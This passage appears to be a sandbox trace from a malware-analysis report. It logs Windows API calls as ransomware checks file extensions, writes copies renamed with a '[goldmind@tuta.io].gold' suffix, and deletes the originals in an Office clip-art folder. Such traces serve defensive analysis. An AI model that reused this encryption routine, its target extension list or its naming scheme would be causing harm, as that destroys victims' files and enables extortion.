returned -1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString=".1cd") returned 4 [0113.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString=".jpg") returned 4 [0113.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.927] lstrlenW (lpString=".doc") returned 4 [0113.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.927] lstrlenW (lpString=".docx") returned 5 [0113.927] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.927] lstrlenW (lpString=".pdf") returned 4 [0113.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.927] lstrlenW (lpString=".xls") returned 4 [0113.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.927] lstrlenW (lpString=".xlsx") returned 5 [0113.927] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.927] lstrlenW (lpString=".ppt") returned 4 [0113.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.927] lstrlenW (lpString=".zip") returned 4 [0113.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.927] lstrlenW (lpString=".rar") returned 4 [0113.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.927] lstrlenW (lpString=".bz2") returned 4 [0113.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.927] lstrlenW (lpString=".7z") returned 3 [0113.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.928] lstrlenW (lpString=".dbf") returned 4 [0113.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.928] lstrlenW (lpString=".1cd") returned 4 [0113.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.928] lstrlenW (lpString=".jpg") returned 4 [0113.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.928] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.928] lstrlenW (lpString="J0195320.WMF") returned 12 [0113.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.930] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=29432) returned 1 [0113.930] CloseHandle (hObject=0x3d0) returned 1 [0113.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 0x20 [0113.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.930] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.930] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.052] GetLastError () returned 0x0 [0114.052] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x72f8, lpOverlapped=0x0) returned 1 [0114.055] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7300, lpOverlapped=0x0) returned 1 [0114.056] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.056] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.056] SetEndOfFile (hFile=0x3e0) returned 1 [0114.056] CloseHandle (hObject=0x3e0) returned 1 [0114.056] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.056] SetEndOfFile (hFile=0x3d0) returned 1 [0114.058] CloseHandle (hObject=0x3d0) returned 1 [0114.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0114.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.059] lstrlenW (lpString=".doc") returned 4 [0114.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.059] lstrlenW (lpString=".docx") returned 5 [0114.059] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.059] lstrlenW (lpString=".pdf") returned 4 [0114.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.059] lstrlenW (lpString=".xls") returned 4 [0114.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.059] lstrlenW (lpString=".xlsx") returned 5 [0114.059] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.059] lstrlenW (lpString=".ppt") returned 4 [0114.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.059] lstrlenW (lpString=".zip") returned 4 [0114.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.059] lstrlenW (lpString=".rar") returned 4 [0114.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".bz2") returned 4 [0114.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".7z") returned 3 [0114.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".dbf") returned 4 [0114.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".1cd") returned 4 [0114.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".jpg") returned 4 [0114.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".doc") returned 4 [0114.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".docx") returned 5 [0114.060] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.060] lstrlenW (lpString=".pdf") returned 4 [0114.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".xls") returned 4 [0114.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.060] lstrlenW (lpString=".xlsx") returned 5 [0114.060] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.060] lstrlenW (lpString=".ppt") returned 4 [0114.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".zip") returned 4 [0114.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.060] lstrlenW (lpString=".rar") returned 4 [0114.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".bz2") returned 4 [0114.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString=".7z") returned 3 [0114.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".dbf") returned 4 [0114.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".1cd") returned 4 [0114.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0114.060] lstrlenW (lpString=".jpg") returned 4 [0114.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.060] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.060] lstrlenW (lpString="J0197983.WMF") returned 12 [0114.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.063] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=26252) returned 1 [0114.064] CloseHandle (hObject=0x3d0) returned 1 [0114.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 0x20 [0114.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.064] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.064] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.065] GetLastError () returned 0x0 [0114.065] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x668c, lpOverlapped=0x0) returned 1 [0114.066] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x6690, lpOverlapped=0x0) returned 1 [0114.067] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.067] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.068] SetEndOfFile (hFile=0x3e0) returned 1 [0114.068] CloseHandle (hObject=0x3e0) returned 1 [0114.068] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.068] SetEndOfFile (hFile=0x3d0) returned 1 [0114.070] CloseHandle (hObject=0x3d0) returned 1 [0114.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString=".doc") returned 4 [0114.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString=".docx") returned 5 [0114.071] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.071] lstrlenW (lpString=".pdf") returned 4 [0114.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString=".xls") returned 4 [0114.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.071] lstrlenW (lpString=".xlsx") returned 5 [0114.071] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.071] lstrlenW (lpString=".ppt") returned 4 [0114.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString=".zip") returned 4 [0114.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.071] lstrlenW (lpString=".rar") returned 4 [0114.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString=".bz2") returned 4 [0114.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString=".7z") returned 3 [0114.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString=".dbf") returned 4 [0114.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString=".1cd") returned 4 [0114.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.071] lstrlenW (lpString=".jpg") returned 4 [0114.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString=".doc") returned 4 [0114.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString=".docx") returned 5 [0114.072] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.072] lstrlenW (lpString=".pdf") returned 4 [0114.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString=".xls") returned 4 [0114.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.072] lstrlenW (lpString=".xlsx") returned 5 [0114.072] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.072] lstrlenW (lpString=".ppt") returned 4 [0114.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString=".zip") returned 4 [0114.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.072] lstrlenW (lpString=".rar") returned 4 [0114.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString=".bz2") returned 4 [0114.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString=".7z") returned 3 [0114.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString=".dbf") returned 4 [0114.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString=".1cd") returned 4 [0114.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0114.072] lstrlenW (lpString=".jpg") returned 4 [0114.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.072] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.072] lstrlenW (lpString="J0198016.WMF") returned 12 [0114.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.073] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=33948) returned 1 [0114.073] CloseHandle (hObject=0x3d0) returned 1 [0114.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 0x20 [0114.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.074] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.074] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.074] GetLastError () returned 0x0 [0114.074] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x849c, lpOverlapped=0x0) returned 1 [0114.076] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x84a0, lpOverlapped=0x0) returned 1 [0114.077] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.077] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.077] SetEndOfFile (hFile=0x3e0) returned 1 [0114.078] CloseHandle (hObject=0x3e0) returned 1 [0114.078] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.078] SetEndOfFile (hFile=0x3d0) returned 1 [0114.080] CloseHandle (hObject=0x3d0) returned 1 [0114.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 1 [0114.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.081] lstrlenW (lpString=".doc") returned 4 [0114.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.081] lstrlenW (lpString=".docx") returned 5 [0114.081] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0114.081] lstrlenW (lpString=".pdf") returned 4 [0114.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.081] lstrlenW (lpString=".xls") returned 4 [0114.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.081] lstrlenW (lpString=".xlsx") returned 5 [0114.081] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0114.081] lstrlenW (lpString=".ppt") returned 4 [0114.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.081] lstrlenW (lpString=".zip") returned 4 [0114.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.081] lstrlenW (lpString=".rar") returned 4 [0114.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString=".bz2") returned 4 [0114.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString=".7z") returned 3 [0114.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".dbf") returned 4 [0114.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".1cd") returned 4 [0114.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".jpg") returned 4 [0114.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".doc") returned 4 [0114.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.082] lstrlenW 